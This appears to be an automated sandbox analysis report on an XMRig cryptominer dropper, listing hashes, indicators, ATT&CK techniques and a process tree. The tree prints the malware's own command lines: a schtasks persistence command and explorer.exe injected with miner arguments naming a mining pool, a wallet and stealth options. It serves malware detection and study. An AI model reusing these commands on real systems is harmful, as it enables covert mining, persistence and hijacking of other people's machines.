xmrig | d94fd5cde3574048397162ee252ed9fd3b6ad79ad02b63eb513c78911c2191ab

Analysis

max time kernel
137s
max time network
166s
platform
windows7_x64
resource
win7v20210410
submitted
05/08/2021, 07:37

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General

Target
2ef1f2fd600af1cea8690b76de3fafe9.exe
Size 44KB
Sample210805-9l5pcsspc2
SHA256 d94fd5cde3574048397162ee252ed9fd3b6ad79ad02b63eb513c78911c2191ab
MD5 2ef1f2fd600af1cea8690b76de3fafe9
SHA1 3662292b56608857430f080d01dadbdffafdb18c
SHA512 52d4fe77d38ae33699ff90b1fecb5d961af577afd491fe83f808467aef56000a5f507c6ce4738b9804d1f22f7e3caa10beda22c05aa76f0f1fa92ef47cea374f
MD5 SHA1 SHA512

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral1/memory/2012-82-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/2012-83-0x00000001402EB66C-mapping.dmp	xmrig
behavioral1/memory/2012-85-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
768	services64.exe
860	sihost64.exe

Loads dropped DLL 2 IoCs

pid	Process
1096	2ef1f2fd600af1cea8690b76de3fafe9.exe
768	services64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 768 set thread context of 2012	768	services64.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
524	schtasks.exe
432	schtasks.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	services64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	services64.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1096	2ef1f2fd600af1cea8690b76de3fafe9.exe
768	services64.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe
Token: SeDebugPrivilege	768	services64.exe
Token: SeLockMemoryPrivilege	2012	explorer.exe
Token: SeLockMemoryPrivilege	2012	explorer.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 892	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe	29
PID 1096 wrote to memory of 892	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe	29
PID 1096 wrote to memory of 892	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe	29
PID 892 wrote to memory of 524	892	cmd.exe	31
PID 892 wrote to memory of 524	892	cmd.exe	31
PID 892 wrote to memory of 524	892	cmd.exe	31
PID 1096 wrote to memory of 768	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe	32
PID 1096 wrote to memory of 768	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe	32
PID 1096 wrote to memory of 768	1096	2ef1f2fd600af1cea8690b76de3fafe9.exe	32
PID 768 wrote to memory of 1872	768	services64.exe	33
PID 768 wrote to memory of 1872	768	services64.exe	33
PID 768 wrote to memory of 1872	768	services64.exe	33
PID 1872 wrote to memory of 432	1872	cmd.exe	35
PID 1872 wrote to memory of 432	1872	cmd.exe	35
PID 1872 wrote to memory of 432	1872	cmd.exe	35
PID 768 wrote to memory of 860	768	services64.exe	36
PID 768 wrote to memory of 860	768	services64.exe	36
PID 768 wrote to memory of 860	768	services64.exe	36
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38
PID 768 wrote to memory of 2012	768	services64.exe	38

C:\Users\Admin\AppData\Local\Temp\2ef1f2fd600af1cea8690b76de3fafe9.exe
"C:\Users\Admin\AppData\Local\Temp\2ef1f2fd600af1cea8690b76de3fafe9.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:892
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:524
- C:\Users\Admin\services64.exe
  "C:\Users\Admin\services64.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:768
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:432
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    PID:860
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.minexmr.com:4444 --user=49LQTYwMJ5pK2AtCViY5By7cEUhfYXwjgdaYMBEueHKmeoahcgdnc2CRCnrtK3mDaY2gyEViU4U9AYtkMp1T5rDAUpafWNN --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/768-69-0x000000013F420000-0x000000013F421000-memory.dmp

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memory/768-80-0x00000000023D0000-0x00000000023D2000-memory.dmp

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memory/860-78-0x000000013F6E0000-0x000000013F6E1000-memory.dmp

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memory/860-81-0x000000001BE30000-0x000000001BE32000-memory.dmp

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memory/1096-61-0x0000000000550000-0x000000000055A000-memory.dmp

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memory/1096-59-0x000000013F640000-0x000000013F641000-memory.dmp

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memory/1096-62-0x000000001B950000-0x000000001B952000-memory.dmp

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memory/2012-82-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/2012-84-0x0000000000260000-0x0000000000280000-memory.dmp

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memory/2012-85-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/2012-86-0x00000000003C0000-0x00000000003E0000-memory.dmp

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memory/2012-87-0x00000000003C0000-0x00000000003E0000-memory.dmp

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memory/2012-88-0x00000000003E0000-0x0000000000400000-memory.dmp

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